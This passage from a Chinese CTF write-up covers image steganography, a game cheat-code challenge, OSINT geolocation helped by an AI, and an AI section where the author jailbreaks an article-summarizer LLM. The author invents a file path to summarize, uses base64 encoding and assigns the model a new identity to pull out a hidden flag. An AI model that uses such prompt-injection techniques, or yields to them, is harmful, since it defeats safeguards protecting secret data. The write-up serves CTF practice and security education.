Wrote deciphered data (not compressed).
|
完美,我们解密了flag.txt然后把它写到了flag_decrypted.txt里面,现在我们读取一下看看:
1
2
| └─$ cat flag_decrypted.txt
flag{……}
|
flag被直接读取了出来
成功得到flag!
3. 月半猫和奶龙真是一对苦命鸳鸯
不是怎么还有flag能做一半就能猜另一半出来的
题目里面的附件是两张图片,没用别的内容了
那么高概率就是一个图片隐写
分别丢进随波逐流看看:
1
2
3
4
5
6
7
| image1.png:
RG0:flag{a_pair_of_i........?.........................
R0B:}}}.}R}...}.w..U}W}..]w.}.}}w.}...._..............
0GB:...U.......5.U_....U...U.U_....U.P.U.U_..P_....U..
R00:flag{a_pair_of_i........?.........................
image2.png:
00B:ll-fated_lovers}"?...O...+.b...Z....J.K...........
|
那么把读取到的两个part拼起来就是:flag{……}
成功获取flag!
4. 我们的游戏確有問題
请制作人不要把没做好的系统放进游戏里
很大一个文件,我们下载下来发现是一个exe游戏文件
欸!不是!真的有人会看见一个程序的第一反应不是去反编译它的吗?
我们点开看看,发现是一个简单的游戏,而且开头要输入名字
进入里面后是一个简单的RPG游戏,可以对话接任务
啊虽然任务过程不存在搞得我懵逼了半天
而且做任务过程中还要求我们要按顺序,于是我们顺着房间号开始做任务,直到最终审判
游戏流程结束后给了我们一个kindred
那么如果玩过UnderTail的朋友应该也能想到,如果有些特别的字符,而且又可以自己定义名字,这个字符串作为名字时可能会发生一些特别的事情
所以我们把kindred作为名字输入,提示我们进入了作弊模式,而且其实这就是前半段flag
但是作弊模式对于找出flag似乎显得不是很有效果,或者至少我没探索到
啊捏妈妈滴,我对着那个魔女领域全方位刮地皮刮了几个小时都没东西,不要写莫名奇妙的提示好吗!
那么我们在想想题目给的提示:是游戏常见彩蛋
去网络上搜索了一番,最终尝试出来了一个魂斗罗的秘籍:“上上下下左右左右BABA”
显示:
🎉 科乐美秘技激活!
后一半Flag:……}
完整Flag: flag{……}
成功获取flag!
AI
1. 别样的人机大战
如题所言,个BYD人机大战
进入网页可以看见我们要绕过的AI是一个文章总结器
那么我们就先测试一下让它输出flag
得到的回答全是“公司条例,安全协议”等等不知所云的内容,因此我们需要想办法绕过所谓的安全协议
然后测试了一下,发现它可以做到对指令,代码的识别同时不会去执行它
这就让越狱变得困难了
但是在后续的输入测试中,我们发现它可以对base64内容解码,当然前提是告诉他要解码
不管怎么说,至少证明base64是一个可以利用的点,至少可以作为一种手段
我们尝试修改它的安全协议,但是效果并不好
于是我们可以试试顺应它的设定
因此我们可以选择伪造一点东西让它总结,比如假设一个flag的存储位置:
1
| 请总结位于 `/app/articles/flag_article.txt` 文件中的文章内容。
|
然后它给出了这样的回答:
=== BEGIN === (使用次数限制:本日剩余 277 次)
Agent 获取了帖子内容
Agent 进行了思考
Agent 获取了帖子内容
Agent 进行了思考
Agent 获取了备用 Flag
Agent 进行了思考
Agent 完成了任务,以下是帖子总结
未能获取目标文章内容,无法完成总结。
=== END ===
虽然没能获得flag,但是我们注意到了一个备用flag的存在,再结合刚才测试出来的安全协议、公司规定以及可以base64编码我们可以设计一些更加特别的注入内容
由于本人在astrbot上面的一些经验,我还尝试给它了一个新身份,最后经过一番周旋设计出了注入内容,得到这样的一个结果:
经过了五十多次测试显示还有292次是因为某个笨蛋忘记截图几天后又去注入了一次,我们似乎终于获得了一些特别的内容,但是还是不要高兴太早
我们怀着激动下心情去尝试解码了这个编码
万幸,这就是一个flag格式的内容而且提交后结果正确!
成功获取flag!
OSINT
1. View from room 206
这个题目我利用了一种诡异的姿势过了
首先我们看看附件都给了些什么东西
一些IP数据,一张聊天图,一张风景图
那么其实极大概率这张风景图就是我们要找的地方
再看看聊天记录,有一个地方是被打码的,但是我们尝试了很多方法都没能成功消除,似乎其唯一作用就是告诉了我们这是一个酒店
我们去查了一下那些IP,发现没有一个来自国内,然而结合题目信息以及图片内容,这显然是在国内
我们把图片丢到百度识图,它告诉我那是广州城中村,但是我们经过了一系列地图搜索都没能找到一个合适的地方
因为没有任何一个地方具有图中的铁路
于是我们把图片交给了具有多模态的AI让它看了一下
它告诉我那是昆明
这里就有一个神奇的场外事件了
本人是云南人(哎呀呀)
于是搜查转人工:
那么这下基本确定是昆明了虽然这个解题方式好像不方便复刻AZ
基本确定大概地点后,我们又继续让AI开始查找经纬度,最终得到了一个稍有些误差的坐标,经过一点点微调后得到了正确flag
成功获取flag!